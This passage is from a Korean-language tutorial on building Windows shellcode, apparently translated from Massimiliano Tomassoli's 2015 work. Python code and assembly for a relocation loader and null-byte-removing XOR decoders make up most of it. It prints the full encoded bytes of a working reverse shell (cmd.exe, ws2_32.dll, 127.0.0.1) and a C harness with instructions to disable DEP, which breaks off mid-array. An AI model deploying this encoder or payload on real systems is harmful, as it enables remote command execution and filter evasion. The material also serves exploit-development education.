                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)
cs


pe.DIRECTORY_ENTRY_BASELOC 은 데이터 구조의 리스트로 relocations의 리스트인 entries 라는 필드 이름을 포함합니다. 첫 번째로 현재 relocation이 쉘코드가 있는지 확인합니다. 만약 그렇다면,


1. 쉘코드의 시작부분에 연관된 relocation의 오프셋을 relocs에 추가합니다.

2. 쉘코드에서 오프셋에 존재하는 DWORD를 추출하고 이 DWORD .rdata를 가리키는지 확인합니다.

3. .rdata에서 (2)에서 찾은 위치에서 문자열을 추출합니다.

4. 문자열을 addr_to_strings에 추가합니다.


여기서,


I. relocs는 쉘코드를 포함하는 relocations의 오프셋을 가지고 있습니다. 예를들어 쉘코드의 수정이 필요한 DWORDs 오프셋

II. addr_to_strings는 딕셔너리로 (2)에서 찾은 주소들과 연관되어 실제 문자열을 가리킵니다.


아이디어는 addr_to_strings 포함된 문자열을 쉘코드 끝부분에 추가하고 쉘코드에서 이 문자열을 참조할 수 있도록 만드는 것 입니다. 하지만 code->strings 링킹은 쉘코드의 시작 위치를 모르기 때문에 실행 중에 진행되어야 합니다. 이를 위해, 우리는 실행 중에 쉘 코드를 수정할 수 있는 로더가 필요합니다. 아래는 변경 이후 쉘 코드의 구조에 대해 나타낸 것 입니다.



offX DWORD로 변경이 필요한 원본 쉘코드의 위치를 가리킵니다. 로더는 이 위치들에 대해 변경을 하여 정확한 문자열인 strX를 가리키게 됩니다.

 

이 작업이 어떻게 이루어지는지 보려면 아래 코드를 이해할 필요가 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # there are no relocations
 
    # The format of the new shellcode is:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       <shellcode>         (contains offsets to strX (offset are from "here" label))
    #   relocs:
    #       off1|off2|...       (offsets to relocations (offset are from "here" label))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # Builds the first part (up to and not including the shellcode).
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE80x000x000x000x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B0xFE,                                 #   MOV EDI, ESI
        0x810xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x010x3C0x07,                           #   ADD [EDI+EAX], EDI
        0xE20xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # Builds the final part (offX and strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # offset from "here" label
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    # Fixes the shellcode so that the pointers referenced by relocs point to the
    # string in the final part.
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4= dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
cs


로더를 살펴보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CALL here                       ; PUSH EIP+5; JMP here
  here:
    POP ESI                     ; ESI = address of "here"
    MOV EDI, ESI                ; EDI = address of "here"
    ADD ESI, shellcode_start + len(shellcode) - here     ; ESI = address of off1
    MOV ECX, len(relocs)        ; ECX = number of locations to fix
    CLD                         ; tells LODSD to go forwards
  again:
    LODSD                       ; EAX = offX; ESI += 4
    ADD [EDI+EAX], EDI          ; fixes location within shellcode
    LOOP again                  ; DEC ECX; if ECX > 0 then JMP again
  shellcode_start:
    <shellcode>
  relocs:
    off1|off2|...
    str1|str2|...
cs


첫 번째 호출은 메모리에서 here의 절대 주소를 얻기 위해 사용됩니다. 로더는 이 정보를 이용하여 원본 쉘코드의 오프셋들을 수정합니다. ESI off1을 가리키고 있어서 LODSD는 오프셋들을 하나씩 읽는데 사용됩니다. 명령어는 다음과 같습니다.


ADD [EDI+EAX], EDI


이 명령어는 쉘코드의 위치를 수정합니다. EAX는 현재 offX 로써 here의 상대적인 위치의 오프셋을 가지고 있습니다. 이 뜻은 EDI+EAX가 해당 위치의 절대 주소를 갖음을 의미합니다. 해당 위치의 DWORD here에 연관된 정확한 문자열의 오프셋을 가지고 있습니다. EDI DWORD에 더함으로써 우리는 DWORD를 문자열의 절대 주소로 바꿀 수 있습니다. 로더가 끝나게 되면 쉘 코드가 수정 됫음을 의미하고 실행 되게 됩니다.

 

결론적으로 재배치가 일어나는 경우에 add_loader_to_shellcode가 호출되게 됩니다. 메인 함수를 보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
<snip>
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
<snip>
cs



쉘 코드에서 null 바이트 제거 (1)


재배치 이후, 쉘코드에 존재하는 null 바이트를 다룰 시간입니다. 위에서 설명햇듯이, 이런 null 바이트 제거는 필요합니다. 이를 위해 저는 2개의 함수를 작성했습니다.


1. get_fixed_shellcode_single_block

2. get_fixed_shellcode


첫 번째 함수는 항상 동작하진 않지만 더 짧은 코드로 구성되어 있고 먼저 시도하게 됩니다. 두 번째 함수는 더 긴 코드로 구성되어 있으며 항상 동작을 보증합니다.

 

get_fixed_shellcode_single_block을 보면 다음과 같이 정의가 되어 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def get_fixed_shellcode_single_block(shellcode):
    '''
    Returns a version of shellcode without null bytes or None if the
    shellcode can't be fixed.
    If this function fails, use get_fixed_shellcode().
    '''
    # Finds one non-null byte not present, if any.
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1, 256) if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # shellcode can't be fixed
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE80xFF0xFF0xFF0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x810xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x830xC729,                                     #   ADD EDI, shellcode_begin - here
        0x330xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, <missing byte>
        0x0F0x440xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE20xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
cs


아이디어는 매우 간단합니다. 쉘코드에 빠진 값이 있는지 바이트 단위로 분석합니다. 예를들어 값이 0x14 라고 한다면 쉘코드에 존재하는 모든 0x00 값을 0x14 로 변경합니다. 쉘코드에 더이상 null 바이트가 존재하지 않지만 이 값들이 수정되었기 때문에 동작 시킬수가 없습니다. 마지막 작업은 쉘코드 복호화 같은 작업이 실행 중에 필요한데 이는 원본 쉘코드가 실행 되기 전에 null 바이트를 복원하는 역할을 합니다. 정의된 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CALL $ + 4                                    ; PUSH "here"; JMP "here"-1
here:
  (FF)C0 = INC EAX                            ; not important: just a NOP
  POP EDI                                     ; EDI = "here"
  MOV ECX, <xor value 1 for shellcode len>
  XOR ECX, <xor value 2 for shellcode len>    ; ECX = shellcode length
  ADD EDI, shellcode_begin - here             ; EDI = absolute address of original shellcode
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; tells STOSB to go forwards
loop1:
  MOV AL, BYTE PTR [EDI]                      ; AL = current byte of the shellcode
  CMP AL, <missing byte>                      ; is AL the special byte?
  CMOVE EAX, ESI                              ; if AL is the special byte, then EAX = 0
  STOSB                                       ; overwrite the current byte of the shellcode with AL
  LOOP loop1                                  ; DEC ECX; if ECX > 0 then JMP loop1
shellcode_begin:
cs


여기에 몇몇 중요한 점들이 있습니다. 먼저 코드 자체로는 null 바이트를 포함할 수 없기 때문에 이를 제거할 수 있는 다른 코드가 필요합니다.

 

보시다시피, CALL 명령이 here 로 뛰지 않는데 그 이유는 해당 opcode


E8 00 00 00 00               #   CALL here


이런식으로 4개의 null 바이트를 포함하고 있기 때문입니다. CALL 명령이 총 5 바이트 이기 때문에 CALL here CALL $+5 와 같게 됩니다. null 바이트를 처리하는 꼼수로는 CALL $+4를 이용하는 것 입니다.


E8 FF FF FF FF               #   CALL $+4


CALL 4 바이트를 건너 뛰고 CALL 자체의 마지막 FF 로 뛰게 됩니다. 해당 CALL 명령은 바로 C0를 만나게 되는데 이는 INC EAX로 되고 결국 FF C0가 되게 됩니다. CALL에 의해 push 된 값은 여전히 here label의 절대 주소를 갖습니다.

 

null 바이트를 피하는 두 번째 꼼수는 다음과 같습니다.


1
2
MOV ECX, <xor value 1 for shellcode len>
XOR ECX, <xor value 2 for shellcode len>
cs


간단히 


1
MOV ECX, <shellcode len>
cs


처럼 이용할 수 있지만 이는 null 바이트를 포함하게 됩니다. 사실 쉘코드의 크기가 0x400 이라면 우리는 다음과 같이


B9 00 04 00 00        MOV ECX, 400h


3개의 null 바이트를 포함하게 됩니다.

 

이를 피하기 위해서는 00000400h 에 없는 null 바이트가 아닌 값을 선택해야 합니다. 예를들어 0x01을 선택했다고 하면 다음과 같이 연산이 됩니다.


           <xor value 1 for shellcode len> = 00000400h xor 01010101 = 01010501h

           <xor value 2 for shellcode len> = 01010101h


결과적으로 두 명령모두 null 바이트가 없으며 xor 후 원본 값인 400h를 얻게 됩니다.

 

2개의 명령은 다음과 같습니다.


B9 01 05 01 01        MOV ECX, 01010501h

81 F1 01 01 01 01     XOR ECX, 01010101h


2개의 xor 값들은 함수 get_xor_values에 의해 연산됩니다.

 

코드 자체는 이해하기 간단합니다. 이는 단지 쉘코드의 바이트 단위로 돌아 다니며 null 바이트를 특정 값으로 덮어 씁니다. (위 예에서는 0x14)



쉘 코드에서 null 바이트 제거 (2)


쉘 코드에 존재하지 않는 바이트 값을 찾지 못하면 위의 방법은 실패 할 수 있습니다. 만약 그렇다면, 좀 더 복잡한 get_fixed_shellcode를 사용합니다.

 

아이디어는 쉘 코드를 254 바이트 블록으로 나누는 것 입니다. 각각의 블록은 반드시 하나의 “missing byte” 값을 갖는데 그 이유는 하나의 바이트는 255 개의 0이 아닌 값을 갖을 수 있기 때문입니다. 우리는 각각의 블록에서 missing byte를 선택하고 각각의 블록을 개별적으로 처리합니다. 하지만 이는 비효율적인데 그 이유는 254*N 바이트 쉘코드를 위해 우리는 쉘코드 이전이나 이후에 N 개의 “missing byte”를 저장해야 하기 때문입니다. (디코더는 missing byte에 대해 알아야 합니다) 좀더 똑똑한 방법으로는 가능한 동일한 “missing byte”를 사용하는 것 입니다. 쉘코드 시작부터 missing byte를 넘을 때까지 블록들을 유지합니다. 만약 이렇게 된다면 이전 청크에서 마지막 블록을 제거할 수 있고 마지막 블록에서 새로운 청크가 시작됩니다. 마지막으로 <missing_byte, num_blocks> 짝의 리스트는 다음과 같습니다.


[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]


저는 단일 바이트에 num_blockX 1부터 255까지 제한했습니다.

 

아래는 청크에서 쉘코드를 나누는 get_fixed_shellcode 의 일부분 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def get_fixed_shellcode(shellcode):
    '''
    Returns a version of shellcode without null bytes. This version divides
    the shellcode into multiple blocks and should be used only if
    get_fixed_shellcode_single_block() doesnt work with this shellcode.
    '''
    # The format of bytes_blocks is
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # where missing_byteX is the value used to overwrite the null bytes in the
    # shellcode, while number_of_blocksX is the number of 254-byte blocks where
    # to use the corresponding missing_byteX.
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i < shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1256))
        # Tries to find as many 254-byte contiguous blocks as possible which misses at
        # least one non-null value. Note that a single 254-byte block always misses at
        # least one non-null value.
        while True:
            if i >= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # new block added
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
<snip>
cs


이 전과 마찬가지로, 쉘코드에 붙여질 “decoder”에 대해 얘기할 필요가 있습니다. 이 디코더는 이 전보다 좀 더 길긴 하지만 원리는 같습니다.

 

코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
code = ([
    0xEBlen(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                        # bytes:
    bytes_blocks + [                                    #   ...
                                                        # skip_bytes:
    0xE80xFF0xFF0xFF0xFF,                       #   CALL $ + 4
                                                        # here:
    0xC0,                                               #   (FF)C0 = INC EAX
    0x5F,                                               #   POP EDI
    0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
    0x810xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
    0x8D0x5F-(len(bytes_blocks) + 5& 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
    0x830xC70x30,                                   #   ADD EDI, shellcode_begin - here
                                                        # loop1:
    0xB00xFE,                                         #   MOV AL, 0FEh
    0xF60x630x01,                                   #   MUL AL, BYTE PTR [EBX+1]
    0x0F0xB70xD0,                                   #   MOVZX EDX, AX
    0x330xF6,                                         #   XOR ESI, ESI
    0xFC,                                               #   CLD
                                                        # loop2:
    0x8A0x07,                                         #   MOV AL, BYTE PTR [EDI]
    0x3A0x03,                                         #   CMP AL, BYTE PTR [EBX]
    0x0F0x440xC6,                                   #   CMOVE EAX, ESI
    0xAA,                                               #   STOSB
    0x49,                                               #   DEC ECX
    0x740x07,                                         #   JE shellcode_begin
    0x4A,                                               #   DEC EDX
    0x750xF2,                                         #   JNE loop2
    0x43,                                               #   INC EBX
    0x43,                                               #   INC EBX
    0xEB0xE3                                          #   JMP loop1
                                                        # shellcode_begin:
])
cs


bytes_blocks는 배열로 되어 있습니다.


[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]


이는 전에 설명했지만 여기서는 짝으로 이루어져 있지 않습니다.

 

코드는 bytes_blocks을 건너 뛰는 JMP SHORT 으로 시작하게 됩니다. 이를 위해 len(bytes_blocks) 0x7F 이하가 되어야 합니다. 하지만 보시다시피, len(bytes_blocks)는 다른 명령에서도 볼 수 있습니다.


1
0x8D0x5F-(len(bytes_blocks) + 5& 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
cs


이는 len(bytes_blocks) 0x7F – 5 이하가 되어야 함을 의미합니다. 만약 조건이 위배되면 다음 코드가 실행 됩니다.


1
2
3
if len(bytes_blocks) > 0x7f - 5:
        # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
        return None
cs


코드에 대해 좀더 자세히 보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
JMP SHORT skip_bytes
bytes:
  ...
skip_bytes:
  CALL $ + 4                                  ; PUSH "here"; JMP "here"-1
here:
  (FF)C0 = INC EAX                            ; not important: just a NOP
  POP EDI                                     ; EDI = absolute address of "here"
  MOV ECX, <xor value 1 for shellcode len>
  XOR ECX, <xor value 2 for shellcode len>    ; ECX = shellcode length
  LEA EBX, [EDI + (bytes - here)]             ; EBX = absolute address of "bytes"
  ADD EDI, shellcode_begin - here             ; EDI = absolute address of the shellcode
loop1:
  MOV AL, 0FEh                                ; AL = 254
  MUL AL, BYTE PTR [EBX+1]                    ; AX = 254 * current num_blocksX = num bytes
  MOVZX EDX, AX                               ; EDX = num bytes of the current chunk
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; tells STOSB to go forwards
loop2:
  MOV AL, BYTE PTR [EDI]                      ; AL = current byte of shellcode
  CMP AL, BYTE PTR [EBX]                      ; is AL the missing byte for the current chunk?
  CMOVE EAX, ESI                              ; if it is, then EAX = 0
  STOSB                                       ; replaces the current byte of the shellcode with AL
  DEC ECX                                     ; ECX -= 1
  JE shellcode_begin                          ; if ECX == 0, then we're done!
  DEC EDX                                     ; EDX -= 1
  JNE loop2                                   ; if EDX != 0, then we keep working on the current chunk
  INC EBX                                     ; EBX += 1  (moves to next pair...
  INC EBX                                     ; EBX += 1   ... missing_bytes, num_blocks)
  JMP loop1                                   ; starts working on the next chunk
shellcode_begin:
cs



스크립트 테스팅


여기서부터는 간단합니다! 스크립트를 인자 없이 실행하면 다음과 같은 메시지가 뜨게 됩니다.


Shellcode Extractor by Massimiliano Tomassoli (2015)

 

Usage:

  sce.py <exe file> <map file>


만약 기억하신다면 우리는 전에 VS 2013 링커에서 map file을 제공한다고 했었습니다. 스크립트에 실행 파일 경로와 맵 파일 경로를 넣어 줍니다. 아래는 우리의 리버스 쉘을 얻는 코드 입니다.


Shellcode Extractor by Massimiliano Tomassoli (2015)


Extracting shellcode length from "mapfile"...

shellcode length: 614

Extracting shellcode from "shellcode.exe" and analyzing relocations...

Found 3 reference(s) to 3 string(s) in .rdata

Strings:

  ws2_32.dll

  cmd.exe

  127.0.0.1


Fixing the shellcode...

final shellcode length: 715


char shellcode[] =

"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"

"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"

"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"

"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"

"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"

"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"

"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"

"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"

"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"

"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"

"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"

"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"

"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"

"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"

"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"

"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"

"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"

"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"

"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"

"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"

"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"

"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"

"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"

"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"

"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"

"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"

"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"

"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"

"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"

"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"

"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"

"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"

"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"

"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"

"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"

"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"

"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"

"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"

"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"

"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"

"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"

"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"

"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"

"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"

"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";


재배치(relocation)에 대한 내용은 굉장히 중요한데 그 이유는 모든것이 잘 되었는지 확인할 수 있기 때문입니다. 예를들어, 우리의 리버스 쉘이 3개의 문자열을 이용하고 .rdata 에서 잘 가져옴을 알고 있다고 하면 원본 쉘 코드는 614 바이트를 갖고 최종 쉘 코드 (재배치와 null byte를 처리 이후) 715 바이트가 됨을 볼 수 있습니다.

 

이제 우리는 어떤 방식으로 쉘코드 실행 결과를 볼 필요가 있습니다. 스크립트는 C/C++ 형태로 쉘코드를 제공하며 우리는 단지 C/C++ 파일에 복사 붙여넣기를 하면 됩니다. 아래는 전체 소스 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <cstring>
#include <cassert>
 
// Important: Disable DEP!
//  (Linker->Advanced->Data Execution Prevention = NO)
 
void main() {
    char shellcode[] =
        "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
        "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
        "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
        "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
        "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
        "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
        "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
        "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
        "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
        "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
        "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
        "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
        "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
        "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
        "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
        "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
        "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
        "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
        "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
        "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
        "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
        "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
        "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
        "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
        "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
        "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
        "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
        "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
        "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
        "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
        "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
        "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
        "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
        "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
        "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
        "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
        "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
        "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
        "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
        "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
        "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
        "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
        "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
